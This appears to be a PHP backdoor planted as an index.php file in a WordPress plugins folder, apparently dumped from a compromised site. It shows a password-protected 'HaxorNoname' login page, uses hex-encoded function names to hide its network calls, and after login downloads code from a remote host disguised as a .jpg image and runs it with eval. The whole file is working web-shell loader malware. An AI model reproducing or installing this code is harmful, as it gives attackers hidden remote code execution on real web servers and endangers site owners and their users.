SCHWEIS

File: /home/aaasepid/public_html/wp-content/plugins/index.php
<?php
session_start();

$secure_password_hash = '$2y$10$IelCyI8F6LDk.45zQhtZge4e6wjDU2Ky6AbUdvYQkUe4/Cw/eb09a'; 
$session_key = hash('sha256', $_SERVER['HTTP_HOST']);

function show_login_form()
{
    echo <<<HTML
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>HaxorNoname - Priv8 Access</title>
  <style>
    @import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');

    body {
      margin: 0;
      padding: 0;
      background: #000000;
      color: #00ff00;
      font-family: 'Share Tech Mono', monospace;
      display: flex;
      justify-content: center;
      align-items: center;
      height: 100vh;
      overflow: hidden;
    }

    .terminal-box {
      border: 2px solid #00ff00;
      box-shadow: 0 0 15px #00ff00;
      background: #101010;
      padding: 40px;
      border-radius: 10px;
      width: 380px;
      animation: fadeIn 1.5s ease-in-out;
    }

    .terminal-title {
      font-size: 22px;
      margin-bottom: 20px;
      text-align: center;
      animation: typewriter 2s steps(20) 1 normal both;
      white-space: nowrap;
      overflow: hidden;
      border-right: 2px solid #00ff00;
    }

    label {
      font-size: 14px;
      margin-bottom: 5px;
      display: block;
    }

    input[type="password"] {
      width: 100%;
      padding: 12px;
      background: #000;
      color: #00ff00;
      border: 1px solid #00ff00;
      border-radius: 4px;
      margin-bottom: 15px;
      font-size: 14px;
      transition: all 0.3s ease;
    }

    input[type="password"]:focus {
      outline: none;
      box-shadow: 0 0 5px #00ff00;
    }

    input[type="submit"] {
      width: 100%;
      padding: 12px;
      background: #00ff00;
      color: #000;
      font-weight: bold;
      font-size: 14px;
      border: none;
      border-radius: 4px;
      cursor: pointer;
      transition: 0.3s ease;
    }

    input[type="submit"]:hover {
      background: #00cc00;
    }

    @keyframes typewriter {
      0% { width: 0 }
      100% { width: 100% }
    }

    @keyframes fadeIn {
      from { opacity: 0; transform: translateY(-10px); }
      to { opacity: 1; transform: translateY(0); }
    }
  </style>
</head>
<body>
  <div class="terminal-box">
    <div class="terminal-title">[ ACCESS PRIV8 HAXORNONAME ]</div>
    <form method="post">
      <label for="password">Enter Passcode:</label>
      <input type="password" id="password" name="password" required />
      <input type="submit" value="ENTER" />
    </form>
  </div>
</body>
</html>
HTML;
    exit;
}

function hex2str($hex) {
    $str = '';
    for ($i = 0; $i < strlen($hex); $i += 2) {
        $str .= chr(hexdec(substr($hex, $i, 2)));
    }
    return $str;
}

function geturlsinfo($destiny) {
    $methods = array(
        hex2str('666f70656e'), 
        hex2str('73747265616d5f6765745f636f6e74656e7473'), 
        hex2str('66696c655f6765745f636f6e74656e7473'), // 
        hex2str('6375726c5f65786563') 
    );

    if (function_exists($methods[3])) {
        $ch = curl_init($destiny);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible)");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        $result = $methods[3]($ch);
        curl_close($ch);
        return $result;
    } elseif (function_exists($methods[2])) {
        return $methods[2]($destiny);
    } elseif (function_exists($methods[0]) && function_exists($methods[1])) {
        $handle = $methods[0]($destiny, "r");
        $result = $methods[1]($handle);
        fclose($handle);
        return $result;
    }
    return false;
}

if (!isset($_SESSION[$session_key])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if (password_verify($_POST['password'], $secure_password_hash)) {
            $_SESSION[$session_key] = true;
        } else {
            show_login_form();
        }
    } else {
        show_login_form();
    }
}

$target_url = 'https://haxor-research.com/rimuru.jpg';
$payload = geturlsinfo($target_url);
if ($payload !== false) {
    eval('?>' . $payload);
}
?>